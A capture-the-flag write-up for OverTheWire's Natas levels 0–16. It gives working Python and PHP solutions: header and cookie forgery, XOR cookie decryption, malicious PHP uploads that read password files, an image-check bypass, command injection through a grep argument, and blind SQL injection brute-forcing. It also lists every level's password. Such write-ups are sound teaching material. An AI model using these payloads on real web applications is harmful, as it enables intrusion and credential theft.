1105 views
# Writeups of OverthewireWargames(natas) ###### tags: `blog` :::info Link to: http://overthewire.org/wargames/natas/ ::: ## Level 0 Password is given directly in the question's page: :::success Username: natas0 Password: natas0 ::: ## Level 1 View the html source and notice the line as below: `<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->` :::success Username: natas1 Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto ::: ## Level 2 The rightclicking is disable, we can use the browser's keyboard shortcuts to view the html source, e.g. `Ctrl+U` for chrome. We see the line as below in the html source: `<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->` :::success Username: natas2 Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi ::: ## Level 3 View the html source and notice this line: `<img src="files/pixel.png">` Try a Directory Traversal over http://natas2.natas.labs.overthewire.org/files/: ![](https://i.imgur.com/NEHaNZC.png) Access the 'users.txt' and bingo. :::success Username: natas3 Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 ::: ## Level 4 View the html source and notice the tips: `<!-- No more information leaks!! Not even Google will find it this time... -->` Looks like it's relative with the [Robots exclusion standard](https://en.wikipedia.org/wiki/Robots_exclusion_standard). Access http://natas3.natas.labs.overthewire.org/robots.txt and this's what we get: ![](https://i.imgur.com/L6KKROT.png) Access the [s3cr3t](http://natas3.natas.labs.overthewire.org/s3cr3t/) directory and this's what we get: ![](https://i.imgur.com/W2pxUCY.png) Access the 'users.txt', bingo. :::success Username: natas4 Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ ::: ## Level 5 According to the tips: >Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" Guess it's about the 'Referer' header. The solution is as below: ```python= # -*- coding: utf-8 -*- import requests from requests.auth import HTTPBasicAuth natas4_url = 'http://natas4.natas.labs.overthewire.org' user = 'natas4' psw = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ' auth = HTTPBasicAuth(user, psw) headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'} print requests.get(natas4_url, auth=auth, headers=headers).content ``` :::success Username: natas5 Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq ::: ## Level 6 Tips is as below: > Access disallowed. You are not logged in 'logged in' is always about cookie, just view the cookie header in the request: ![](https://i.imgur.com/mN8IEkg.png) There's a field named 'loggedin'! We just set it to 'loggedin=1' and send the request. Solution is as below: ```python= # -*- coding: utf-8 -*- import requests from requests.auth import HTTPBasicAuth url = 'http://natas5.natas.labs.overthewire.org' auth = HTTPBasicAuth('natas5', 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq') headers = {'Cookie': 'loggedin=1'} print requests.get(url, auth=auth, headers=headers).content ``` :::success Username: natas6 Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 ::: ## Level 7 Click 'View sourcecode' to view the source code: ![](https://i.imgur.com/uqiXP99.png) Access the 'includes/secret.inc' file: ![](https://i.imgur.com/ZEFGHoc.png) Just submit the secret and bingo: :::success Username: natas7 Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 ::: ## Level 8 View the html source: ![](https://i.imgur.com/wGskUAF.png) We can pass a GET parameter named 'page' to view a page, just try some tricky ones, e.g. 'http://natas7.natas.labs.overthewire.org/?page=xxx', what we get is as below: ![](https://i.imgur.com/YtTIcFF.png) According to the warning message, we can acknowledge the the server end would just show us the content of the file specified by the 'page' given by the url. Just access http://natas7.natas.labs.overthewire.org/?page=/etc/natas_webpass/natas8 and get the password: :::success Username: natas8 Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe ::: ## Level 9 Click ‘View sourcecode’ to view the source code: ![](https://i.imgur.com/HLMsrC7.png) Just reverse the simple encrypt algorithm: ```php= <?php echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))); ?> ``` Run the code which results in 'oubWYf2kBq', this is the 'Input secret', submit to get the password. :::success Username: natas9 Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl ::: ## Level 10 Server end source code is as below: ![](https://i.imgur.com/3VmyRTf.png) According to level 8, the password is stored in the file '/etc/natas_webpass/natas10'. Submit `[a-z] /etc/natas_webpass/natas10 #` to form a command `grep -i [a-z] /etc/natas_webpass/natas10 # dictionary.txt` which would show us the content in '/etc/natas_webpass/natas10'. :::success Username: natas10 Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu ::: ## Level 11 Comparing with Level 10, we can submit a ';','|' or '&' in this level. Actually we didn't use this characters in level 10. Same as level 10, submit `[a-z] /etc/natas_webpass/natas11 #` is ok. :::success Username: natas11 Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK ::: ## Level 12 View the source code and we get our target is to make `$data["showpassword"] == "yes"`. The `$data` object is loaded by: ![](https://i.imgur.com/oHN2B3b.png) According to the code above, `$_COOKIE['data']` can be set via a http `Cookie` header provided by the client. If we construct a `Cookie` which can be decoded by `xor_encrypt(base64_decode($_COOKIE["data"]))` into something like `{"showpassword":"yes","bgcolor":"#ffffff"}`, we can get the password. Deep into the code of `xor_encrypt()`: ![](https://i.imgur.com/QLim9t9.png) The `$key` is unknown. But look at the `saveData()` function: ![](https://i.imgur.com/nbSaLTJ.png) The response cookie is encrypted by `xor_encrypt()`. In the code above, `$d` is the `$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");`. Because it's a `xor` encryption, it's easy to get the $key by: ```php= <?php $text = '{"showpassword":"no","bgcolor":"#ffffff"}'; $outText = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"); $key = ""; for($i=0;$i<strlen($text);$i++) $key .= $outText[$i] ^ $text[$i % strlen($text)]; echo $key; ?> // result: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq ``` Thus the `$key` is `qw8J`. Next just construct our payload: ```php= <?php $text = '{"showpassword":"yes","bgcolor":"#ffffff"}'; $key = "qw8J"; $outText = ""; for($i=0;$i<strlen($text);$i++) $outText .= $text[$i] ^ $key[$i % strlen($key)]; $payload = base64_encode($outText); echo $payload; ?> // result: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK ``` Final solution: ```python= # -*- coding: utf-8 -*- import requests from requests.auth import HTTPBasicAuth url = 'http://natas11.natas.labs.overthewire.org' user = 'natas11' psw = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK' auth = HTTPBasicAuth(user, psw) headers = {'Cookie': 'data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'} print requests.get(url, auth=auth, headers=headers).content ``` :::success Username: natas12 Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 ::: ## Level 13 In this level, we can upload any file with size less than 1KB. We can upload a php with the code below to show us the pass word: ```php= // natas13.php <?php echo file_get_contents( "/etc/natas_webpass/natas13" ); ?> ``` Because the default filename of the uploaded file ends with `.jpg`, in order to make it interpreted by the php interpreter, we must make the uploaded file a `.php` extension. The solution: ```php= # -*- coding: utf-8 -*- import requests from requests.auth import HTTPBasicAuth url = 'http://natas12.natas.labs.overthewire.org' user = 'natas12' psw = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3' auth = HTTPBasicAuth(user, psw) files = {'uploadedfile': open('natas13.php','rb')} values = {'filename': 'natas13.php'} print requests.post(url, files=files, data=values, auth=auth).content ``` Run the code above, it gives back the url of the uploaded file, access it via browser to obtain the password. :::success Username: natas13 Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY ::: ## Level 14 Compare to level 13, this level use `exif_imagetype()` to ensure the uploaded file is an image. It's easy to bypass `exif_imagetype()` by adding a JPEG header to the uploaded file. Talk is cheap: ```python= # -*- coding: utf-8 -*- import requests from requests.auth import HTTPBasicAuth url = 'http://natas13.natas.labs.overthewire.org' user = 'natas13' psw = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY' auth = HTTPBasicAuth(user, psw) with open('natas14.php', 'wb') as f: f.write('\xFF\xD8\xFF\xE0<?php echo file_get_contents( "/etc/natas_webpass/natas14" ); ?>') files = {'uploadedfile': open('natas14.php','rb')} values = {'filename': 'natas14.php'} print requests.post(url, files=files, data=values, auth=auth).content ``` :::success Username: natas14 Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 ::: ## Level 15 A simple SQL injection, provide a username `natas15"#` to construct a query string `SELECT * from users where username="natas15"#" and password=""` to bypass the password checking. :::success Username: natas15 Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J ::: ## Level 16 Another SQL injection, usually called `blind injection`. Think about the following query string: ```sql= SELECT * from users where username="natas16" and password like "a%" COLLATE latin1_bin ``` If there's a user with name "natas16" and password starting with "a", we will get `This user exists`, otherwise we get `This user doesn't exist`. Talk is cheap: ```python= # -*- coding: utf-8 -*- import requests import string from requests.auth import HTTPBasicAuth url = 'http://natas15.natas.labs.overthewire.org' user = 'natas15' psw = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' auth = HTTPBasicAuth(user, psw) d = string.letters + string.digits password = '' while len(password) < 32: for c in d: current_password = password + c print current_password data = {'username': 'natas16" and password like "%s%%" COLLATE latin1_bin#' % current_password} resp = requests.post(url, auth=auth, data=data).content if 'This user exists' in resp: password = password + c break print password ``` :::success Username: natas16 Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh :::